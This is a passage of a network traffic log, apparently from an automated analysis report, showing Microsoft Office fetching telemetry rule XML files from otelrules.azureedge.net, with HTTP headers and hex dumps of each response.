2024-11-26 07:55:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:54 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: ee9d2ac9-001e-00a2-1991-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075554Z-174f78459688l8rvhC1EWRtzr000000007q0000000008fcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:55 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:55 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 106d4033-401e-008c-3691-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075555Z-174f7845968swgbqhC1EWRmnb40000000v6g00000000abr5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:56 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:55 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:56 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 8a8d0990-701e-0021-2191-3f3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075556Z-174f7845968l4kp6hC1EWRe8840000000veg000000002dx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:56 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:56 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:56 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 581105fc-301e-0000-6a91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075556Z-174f7845968nxc96hC1EWRspw80000000usg00000000bk4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:56 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:56 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:56 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 629a3d73-e01e-0052-0991-3fd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075556Z-174f78459684bddphC1EWRbht40000000uz000000000121v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:56 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:56 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:57 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:56 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 17f40f6b-801e-00a3-7e91-3f7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075556Z-174f7845968qj8jrhC1EWRh41s0000000v0g000000008s0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:57 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:57 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:58 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:58 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9f43eb8e-e01e-003c-5891-3fc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075558Z-174f7845968jrjrxhC1EWRmmrs0000000vc000000000154d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:58 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:58 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:58 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:58 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8b39fd45-d01e-0065-5791-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075558Z-174f78459684bddphC1EWRbht40000000uz000000000122b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:58 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:58 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:58 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:58 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9875fcdf-d01e-00ad-1c91-3fe942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075558Z-174f7845968swgbqhC1EWRmnb40000000v6000000000b70p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:55:58 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:58 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:58 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b0621631-101e-008e-3d91-3fcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075558Z-174f784596886s2bhC1EWR743w0000000v50000000006pen x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:59 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:58 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:59 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: a0c05303-f01e-0000-2d91-3f193e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075559Z-174f78459684bddphC1EWRbht40000000us000000000cb53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:59 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49946	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:00 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:00 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: b578d01d-201e-003c-6391-3f30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075600Z-174f7845968nxc96hC1EWRspw80000000uvg000000006kdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:00 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI 